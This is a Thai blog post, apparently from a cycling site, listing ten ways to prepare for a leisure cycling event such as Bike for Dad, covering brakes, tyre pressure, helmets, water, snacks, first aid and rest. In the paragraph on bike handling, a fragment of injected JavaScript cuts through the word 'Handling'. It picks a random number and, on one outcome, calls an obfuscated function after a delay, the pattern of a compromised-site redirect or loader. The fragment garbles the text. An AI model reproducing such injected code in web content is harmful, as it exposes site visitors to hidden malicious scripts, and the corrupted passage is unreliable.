10 วิธีเตรียมพร้อมออกทิปปั่นจักรยาน

10 วิธีเตรียมพร้อมออกทิปปั่นจักรยาน

ช่วงนี้ขอพักการเตรียมตัวเพื่อการปั่นฝึกซ้อมไว้ก่อนนะครับ เสาร์อาทิตย์แทบทุกสัปดาห์ ออกรบกันถ้าไม่จบรอบก็ไส้แตกแทบทุกราย เรามาเตรียมตัว เตรียมจักรยานไว้เพื่อออกงานปั่นจักรยานแนวผ่อนคลาย ชิลๆ สบายๆ กันบ้างดีกว่า

งานปั่นจักรยานแนว event ใหญ่ๆ หรือจะเล็กๆ ทั่วไป ธีมแบบเพื่อสุขภาพ เพื่อความสมานฉันท์หรือเพื่อเทิดพระเกียรติ เหมาะสำหรับนักมือใหม่ เพราะไม่มีการเร่งทำความเร็วมากนัก ระยะทางก็ไม่ไกล ได้ทดลองการปั่นจักรยานเป็นกลุ่ม ฝึกการควบคุมทิศทางหรือ Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling รถของตัวเอง หรือสำหรับมือเก๋า ก็เหมาะหรับการคลายกล้ามเนื้อ คลายเส้นเอ็น คล้ายความเครียดจากการฝึกซ้อม

ตัวอย่างงานอีเว้นท์แนวนี้ก็อย่างเช่น Bike for Mom ที่เพิ่งผ่านไป และงานปั่นจักรยานที่สำคัญอีกงานหนึ่งที่ไม่ควรพลาดคือ Bike for Dad ที่จะถึงในวันที่ 11 ธันวาคม 2558 นี้ StepExtra ของแนะนำ 10 วิธีเตรียมพร้อมสำหรับออก event งานปั่น เพื่อความปลอดภัย เพื่อความสนุก และมีอารมณ์ร่วมไปกับงาน

1. การลงทะเบียน โดยปกติงานอีเว้นท์ต่างๆ จะเปิดรับสมัครทาง internet หรือตั้งโต้ะรับสมัครตามสถานที่สำคัญ หรือตามงานแข่งขันอื่นๆ ทางผู้จัดจะต้องมีการแจก BIB หรือหมายเลขประจำตัวผู้เข้าร่วมกิจกรรม เสื้อที่ระลึก (จะใส่หรือไม่ใส่ก็ได้แล้วแต่) อุปกรณ์อื่นๆ เช่น กระติกน้ำ เป๋ใส่ของ เป็นต้น ต้องจ่ายตังค์เข้าร่วมจะโดนจับเอานะ

2. เตรียมจักรยาน สำหรับงานปั่นแบบนี้จะไม่เน้นความเร็วหรือการปั่นทำเวลา การปั่นจะค่อยๆ เกาะกลุ่มกันไป ในความเร็วระดับหนึ่ง ผู้ปั่นต้องใช้ทักษะในการควบคุมจักรยานมากกว่าการทำความเร็ว

เบรค ถือเป็นอุปกรณ์แรกที่ต้องตรวจเช็คให้ดี ยังใช่งานได้ดีหรือป่าว ดูว่าเบรคแข็งไปหรืออ่อนไปมั้ย ดูระยะบีบของเบรค จากนั้นไล่ดูสายเบรคไปเรื่อยๆ อยู่ในสภาพที่ใช้งานได้หรือดีมั้ย จนถึงผ้าเบรค สึกเยอะมากน้อยแค่ไหนต้องเปลี่ยนมั้ย

ล้อจักรยาน เริ่มจากแรงดันลม ถ้าปั่นในเมือง มีเส้นทางขรุขระ พื้นเป็นหลุ่มเป็นบ่อ ควรเซตไว้ไม่เกิน 100 PSI ถ้าตึงไปเวลาโดนกระแทกเข้าบ่อยๆ เข้า จะแตกระเบิดได้ แม้ความดันน้อยจะทำความเร็วได้ยาก แต่จะควบคุมได้คล่องตัว ตีโค้งเลี้ยวไม่เกาะถนนดีกว่า ถ้าปั่นทางไกลออกต่างจังหวัดอย่างปั่นวัดใจ 40 60 ถึง100 โล ก็เติมลมหน่อยก็ดีครับ ช่วง 100-120 PSI พอ

ยางนอกคือเช็คดูสภาพดอกยาง สึกไปเยอะมากจนควรเปลี่ยนมั้ย ลองจับสัมผัสดู ถ้าสึกจนเห็นเส้นใยโผล่ออกมาก็ควรเปลี่ยน

เสร็จแล้วมาต่อที่โซ่จักรยาน เช็ดทำความสะอาดและทำการหล่อลื่นใหม่ หากโซ่หย่อนไปก็ตัดโซ่ต่อใหม่ แนะนำไปที่ร้านจักรยานเลยครับ ง่ายที่สุด

มาตรวจดูกันต่อตรงบริเวณ เฟรมและแฮนด์ โดยทั่วไปเฟรมใหม่ๆ ถ้าไม่เคยล้มหรือกระแทกอะไรแรงๆ ก็ไม่น่าเป็นห่วง ใช้งานได้ปรกติ เฟรมคาร์บอนก็สังเกตุดูว่ามีรอยร้าวมั้ย เฟรมอลูก็ดูว่ามีรอยบุบ รอยฉีกขาดตัวเฟรมมั้ย แต่สำหรับคนที่ซื้อจักรยานมือสองคงต้องตรวจดูให้ละเอียดมากขึ้น ใครที่ซื้อมือสองลองอ่านบทความ…เช็คลิสต์ 9 ข้อก่อนซื้อจักรยานมือสอง

3. เตรียมความปลอดภัยให้ร่างกายด้วย หมวกกันน๊อก อันนี้สำคัญ ไม่มีไม่แนะนำให้ออกปั่น ตามด้วยไฟส่องทางหรือไฟสัญญาทั้งด้านหน้าและด้านหลัง งานการปั่นอาจจะเลยยาวไปจนถึงกลางคืน การมีสัญญาไฟจะช่วยป้องกันรถราที่วิ่งสวนไปมาได้ระดับหนึ่ง

แว่นตาถ้าสามารถหาซื้อได้ก็แนะนำเช่นกัน ช่วยป้องกันเศษหิน ฝุ่นละอองเข้าตา ยิ่งคนที่ปั่นเสือหมอบ ควรจะมีเพราะองศาการปั่นจะพุ่งไปข้างหน้ามาก แว่นที่สามารถตัดแสงได้ หรือแว่นกันแดด เวลาในการปั่นตอนกลางวันจะช่วยให้วิสัยทัศน์มองได้กว้าง ชัดเจนและสบายตา ลดรังสี UV ลดอาการแสบตาและแสงแทงตาได้เยอะเลย

4. อุปกรณ์ซ้อมรถเบื้องต้น อย่างเช่น ยางในสำรอง ที่งัดล้อและที่สูบลม ควรจัดพกไว้ในกระเป๋า และควรฝึกฝนวิธีการซ้อมให้เป็น

5. เตรียมเสบียงและน้ำ อย่างแรกคือการรักษาระดับสมดุลของน้ำในร่างกายสำคัญสุด ให้เตรียมกระติกน้ำไป ลองดูว่าระยะทางในการปั่นเท่าไหร อย่างเช่น งานปั่น BIKE FOR DAD ใน กทม มีระยะทาง 29 กิโลเมตร กระติกน้ำ 1 กระป๋องขนาดมาตรฐานทั่วไปก็พอ ถ้าหมดก็คาดว่าตามระหว่างทางก็มีจุดเติมน้ำให้ แต่ถ้าระยะทาง 40 กิโลเมตรขึ้นไป แนะนำให้ใช้ 2 กระป๋องครับ เพราะระยะเวลาปั่นจะกินเวลา 1 ชั่วโมงขึ้นไปแน่นอน (ไม่นับพวกขาแรงนะครับ)

ทั้งนี้กรุณาดูระดับความฟิตของร่างกายเราด้วย บางคนยังไม่เคยปั่นระยะไกล (ยังไม่เคยไปไกลกว่า 10 กิโลเมตรก็มี) หรือถ้าเป็นคนที่เหงื่อออกมาก เหนื่อยง่ายต้องพกน้ำพิเศษเพิ่ม

สเบียงอาหารที่ควรพกไว้อย่างเช่น ขนมขบเคี้ยวที่เป็นแท่ง จะเอา Kit-Kat, Milo และ Snickers หรือจะเอากล้วยตากแห้งไปก็ได้ใช้ได้เหมือนกัน การปั่นระยะทางยาวๆ ยิ่ง 40 กิโลมตรขึ้นไปจะเบิร์นพลังงานมาก จำเป็นต้อง refuel พวกคาร์โบเพื่อเอาไปเป็นพลังงานให้กล้ามเนื้อ เละโปรตีนช่วยในการซ่อมแซม

6. เตรียมร่างกาย ผู้ปั่นควรจำเป็นต้องฝึกฝน ความอดทน (Endurance) และความแข็งแกร่งของกล้ามเนื้อ (Strength) ในระยะเริ่มแรกก่อนจะเริ่มพัฒนาความเร็ว (Speed) ใช่ว่างานอีเวนท์เราจะจับรถออกไปปั่นได้เลย ปั่นไม่ไหว ตะคริวกิน เหนื่อยเป็นลม จะเป็นภาระให้เพื่อนร่วมทางซะเปล่าๆ

สำหรับใครหลายๆ การฝึกกล้ามเนื้อดูเหมือนจะไม่เกี่ยวข้องกับการปั่น แค่ขึ้นขี่จักรยานก็น่าจะเพียงพอแล้ว คำตอบคือไม่ใช่เลย การฝึกกล้ามเนื้อไม่ว่าจะช่วงบนและช่วงกลางหรือ core muscle จะช่วยให้เราสามารถทรงตัว บาลานซ์จักรยานได้ดี แบกรับน้ำหนักร่างกายได้นานขึ้น ไม่เมื่อยคอ ไม่เมื่อยไหล่ และในขณะที่การฝึกกล้ามเนื้อช่วงล่าง จะช่วยให้เรามีพลังงานปั่นที่มากขึ้นและทนทานต่อแรงเครียดได้นานมากขึ้น ทั้งนี้การฝึกกล้ามเนื้อยังช่วยลดอาการบาดเจ็บได้อีกด้วย

7. เตรียมอุปกรณ์ Gadget มือถือและแอพปั่นจักรยานให้พร้อม ปัจจุบันมีคนหันมาใช้แอพปั่นจักรยานกันมากขึ้น บันทึกสถิติและแชร์ในเฟสให้เพื่อนๆ ได้ดูทันที ดังนั้นมือถือที่ใช้แอพนั้น ควรชาร์จให้เต็มจากบ้านมาเลย จะพก Power bank มาด้วยก็ได้ ถ้ามีอุปกรณ์แขวนมือถือติดไว้จักรยานเลยจะดีมาก พวก Bike case หรือกระเป๋าติดจักรยานก็ได้…สำหรับใครที่ปั่นจักรยานแนว touring จะได้เปรียบมากเพราะกระเป๋าที่ใส่เยอะ

ใครที่มีอุปกรณ์ขั้น Advance ขึ้นมาอีก อย่างพวก Heart rate monitor, Garmin Edge ก็อย่าลืมเช็คความพร้อมและแบตเตอรี่ก่อนใช้ด้วย

8. อุปกรณ์ฐมพยาบาลเบื้องต้น ผ้าทำแผล พลาสเตอร์ ยาล้างแผล อย่างเช่น เบต้าดีนและแอลกอฮอล์ ถ้าไม่มีก้ใช้น้ำเปล่าก็ได้เช่นกัน กรณีที่เกิดอุบัติเหตุ บาดแผลฟกช้ำ คล้ำเขียว บวม

1. ให้ประคบด้วยผ้าชุบน้ำเย็น หรือผ้าห่อถุงน้ำแข็งเป็นเวลา 15 นาที ทำซ้ำได้ใน 24 ชั่วโมงแรก เพื่อป้องกันอาการบวม
2. ภายหลัง 24 ชั่วโมง ให้ประคบคลึงด้วยผ้าชุบน้ำอุ่นวันละ 4 ครั้ง เพื่อลดอาการบวมที่เกิดขึ้นแล้ว
3. ใน 24 ชั่วโมงแรก ห้าม คลึง หรือนวดด้วยยาร้อน ของร้อน

*ที่มา sarisafirstaid.blogspot.com

อุปกรณ์อีกอย่างที่แนะนำคือคูลลิ่ง สเปรย์ สำหรับช่วยแก้ตะริว แต่วิธีแก้ปัญหาเฉพาะหน้าคือ ให้วางอุ้งตรงกลางเท้าไว้ที่บันไดปั่นก่อน พอหาที่ปลอดภัยได้ค่อยจอดพัก ทำการยืดกล้ามเนื้อ จะใช้ผ้าเย็นประคบหรือจะเอาสเปรย์ฉีดก็ได้ แล้วค่อยนวดเบาๆ ให้เลือดมาเลี้ยงกล้ามเนื้อ พักเมื่อดีขึ้นค่อยไปต่อ อย่าลืมจิบน้ำและเครื่องดื่มเกลือแร่ด้วย

9. กระเป๋าบรรจุอุปกรณ์ ถ้ามีกระเป๋าหลัง ซึ่งปกติเสื้อปั่นจะมีสามกระเป๋าอยูแล้ว ให้ใส่ของที่จำเป็นลงไป กรณีที่ปั่นไปงานใหญ่ๆ แนวชิลๆ เรื่อยๆ จะหากระเป๋าเล็กๆ สักใบติดตัวไปก็ได้ งานปั่น Bike for Dad รอบนี้คาดว่าของกิน ของสะสมจะเยอะ พกกระเป๋าไปดูครับ เผื่อติดไม้ติดมือกลับไปฝากคนที่บ้าน

สำหรับมือใหม่หัดปั่นงานระยะไกล ถึงว่าเป็นการฝึกเก็บประสบการณ์ที่ดี แนะนำให้ใส่เสื้อจักรยานที่มีกระเป๋า 3 ช่องข้างหลัง ลองจัดการเตรียมอุปกรณ์ด้วยตัวเอง ว่าควรใส่อะไรลงบ้าง และอย่าลืมกระติกน้ำสักสองใบติดไปด้วยนะ

10. พักผ่อนให้เพียงพอ การนอนหลับพักผ่อนก็ถือเป็นการฝึกซ้อมอย่างหนึ่ง ร่างกายที่พักผ่อนเพียงพอจะสามารถดึงเอาประสิทธิภาพของเราออกมาได้เต็มร้อย แต่ถ้ายิ่งขาดการพักผ่อน ยิ่งซ้อมจะยิ่งแย่

อาหารการกินก็อย่ากินของแปลกๆ ก่อนแข่งขัน เดียวท้องเสีย อาหารเป้นพิษอดไปงานปั่นอีก

จบไปแล้วนะครับสำหรับคำแนะนำ 10 อย่างที่ควรเตรียมตัวไปงานปั่น แนะนำว่ามือใหม่ควรอ่านเก็บไว้เป็นความรู้ แล้วเจอกันอีกนะครับ